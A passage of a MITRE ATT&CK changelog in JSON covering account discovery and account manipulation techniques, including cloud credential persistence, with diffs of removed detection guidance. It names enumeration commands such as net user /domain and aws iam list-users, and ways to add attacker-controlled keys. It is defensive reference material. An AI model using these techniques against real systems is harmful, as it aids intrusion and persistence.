"source_name": "Elastic - Koadiac Detection with EQL",
"description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
"url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Daniel Stepanic, Elastic",
"Microsoft Threat Intelligence Center (MSTIC)",
"Travis Smith, Tripwire"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"IaaS",
"Identity Provider",
"Linux",
"macOS",
"Office Suite",
"SaaS",
"Windows"
],
"x_mitre_version": "2.6",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:57.239000+00:00\", \"old_value\": \"2025-04-15 19:58:41.600000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nMonitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\"}}}",
"previous_version": "2.6",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1028: Operating System Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0587: Enumeration of User or Account Information Across Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-21 21:08:36.570000+00:00",
"modified": "2025-10-24 17:49:05.745000+00:00",
"name": "Cloud Account",
"description": "Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The Get-MsolRoleMember PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command aws iam list-users may be used to obtain a list of users in the current account while aws iam list-roles can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, gcloud iam service-accounts list and gcloud projects get-iam-policy may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1087/004",
"external_id": "T1087.004"
},
{
"source_name": "AWS List Roles",
"description": "Amazon. (n.d.). List Roles. Retrieved August 11, 2020.",
"url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html"
},
{
"source_name": "AWS List Users",
"description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020.",
"url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html"
},
{
"source_name": "Black Hills Red Teaming MS AD Azure, 2018",
"description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.",
"url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/"
},
{
"source_name": "Google Cloud - IAM Servie Accounts List API",
"description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.",
"url": "https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list"
},
{
"source_name": "Microsoft AZ CLI",
"description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
"url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"
},
{
"source_name": "Microsoft msolrolemember",
"description": "Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.",
"url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0"
},
{
"source_name": "GitHub Raindance",
"description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.",
"url": "https://github.com/True-Demon/raindance"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Praetorian"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS",
"Identity Provider",
"Office Suite",
"SaaS"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.745000+00:00\", \"old_value\": \"2025-04-15 22:00:56.981000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.\\n\\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.\\n-\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0386: Cloud Account Enumeration via API, CLI, and Scripting Interfaces"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-21 21:08:26.480000+00:00",
"modified": "2025-10-24 17:48:31.050000+00:00",
"name": "Domain Account",
"description": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1087/002",
"external_id": "T1087.002"
},
{
"source_name": "CrowdStrike StellarParticle January 2022",
"description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.",
"url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"ExtraHop",
"Miriam Wiesner, @miriamxyra, Microsoft Security"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Process: OS API Execution\", \"Network Traffic: Network Traffic Content\", \"Group: Group Enumeration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:31.050000+00:00\", \"old_value\": \"2025-04-15 22:21:07.252000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1028: Operating System Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0036: Group (Group Enumeration)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0129: Domain Account Enumeration Across Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-21 21:08:33.237000+00:00",
"modified": "2025-10-24 17:48:44.685000+00:00",
"name": "Email Account",
"description": "Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\n\nIn on-premises Exchange and Exchange Online, the Get-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\n\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1087/003",
"external_id": "T1087.003"
},
{
"source_name": "Black Hills Attacking Exchange MailSniper, 2016",
"description": "Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.",
"url": "https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/"
},
{
"source_name": "Google Workspace Global Access List",
"description": "Google. (n.d.). Retrieved March 16, 2021.",
"url": "https://support.google.com/a/answer/166870?hl=en"
},
{
"source_name": "Microsoft Exchange Address Lists",
"description": "Microsoft. (2020, February 7). Address lists in Exchange Server. Retrieved March 26, 2020.",
"url": "https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019"
},
{
"source_name": "Microsoft getglobaladdresslist",
"description": "Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019.",
"url": "https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Office Suite"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:44.685000+00:00\", \"old_value\": \"2025-04-15 22:25:10.775000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0229: Enumeration of Global Address Lists via Email Account Discovery"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-21 21:07:55.393000+00:00",
"modified": "2025-10-24 17:48:32.515000+00:00",
"name": "Local Account",
"description": "Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groups on macOS and Linux can list local users and groups.(Citation: Mandiant APT1)(Citation: id man page)(Citation: groups man page) On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS, the dscl . list /Users command can be used to enumerate local accounts. On ESXi servers, the `esxcli system account list` command can list local user accounts.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1087/001",
"external_id": "T1087.001"
},
{
"source_name": "id man page",
"description": "MacKenzie, D. and Robbins, A. (n.d.). id(1) - Linux man page. Retrieved January 11, 2024.",
"url": "https://linux.die.net/man/1/id"
},
{
"source_name": "groups man page",
"description": "MacKenzie, D. and Youngman, J. (n.d.). groups(1) - Linux man page. Retrieved January 11, 2024.",
"url": "https://linux.die.net/man/1/groups"
},
{
"source_name": "Mandiant APT1",
"description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
"url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
},
{
"source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
"description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
"url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
},
{
"source_name": "Elastic - Koadiac Detection with EQL",
"description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
"url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Daniel Stepanic, Elastic",
"Miriam Wiesner, @miriamxyra, Microsoft Security"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Group: Group Enumeration\", \"Process: Process Creation\", \"Command: Command Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:32.515000+00:00\", \"old_value\": \"2025-04-15 19:58:14.718000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nMonitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1028: Operating System Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0036: Group (Group Enumeration)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0303: Local Account Enumeration Across Host Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:31:12.196000+00:00",
"modified": "2025-10-24 17:49:10.273000+00:00",
"name": "Account Manipulation",
"description": "Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.(Citation: FireEye SMOKEDHAM June 2021) These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1098",
"external_id": "T1098"
},
{
"source_name": "FireEye SMOKEDHAM June 2021",
"description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021.",
"url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html"
},
{
"source_name": "Microsoft Security Event 4670",
"description": "Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019.",
"url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670"
},
{
"source_name": "Microsoft User Modified Event",
"description": "Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.",
"url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738"
},
{
"source_name": "InsiderThreat ChangeNTLM July 2017",
"description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.",
"url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM"
},
{
"source_name": "GitHub Mimikatz Issue 92 June 2017",
"description": "Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.",
"url": "https://github.com/gentilkiwi/mimikatz/issues/92"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)",
"Praetorian",
"Tim MalcomVetter",
"Wojciech Lesicki",
"Arad Inbar, Fidelis Security"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Containers",
"ESXi",
"IaaS",
"Identity Provider",
"Linux",
"macOS",
"Network Devices",
"Office Suite",
"SaaS",
"Windows"
],
"x_mitre_version": "2.8",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Active Directory: Active Directory Object Modification\", \"File: File Modification\", \"Group: Group Modification\", \"User Account: User Account Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.273000+00:00\", \"old_value\": \"2025-04-15 19:58:54.718000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\\n\\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\\n\\nMonitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\\n-\\n-Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\\n-\\n-Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)\"}}}",
"previous_version": "2.8",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1022: Restrict File and Directory Permissions",
"M1026: Privileged Account Management",
"M1028: Operating System Configuration",
"M1030: Network Segmentation",
"M1032: Multi-factor Authentication",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Modification)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Modification)",
"DS0026: Active Directory (Active Directory Object Modification)",
"DS0036: Group (Group Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0096: Account Manipulation Behavior Chain Detection"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-19 16:10:15.008000+00:00",
"modified": "2025-10-24 17:49:04.839000+00:00",
"name": "Additional Cloud Credentials",
"description": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. Alternatively, they may use the CreateLoginProfile API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user 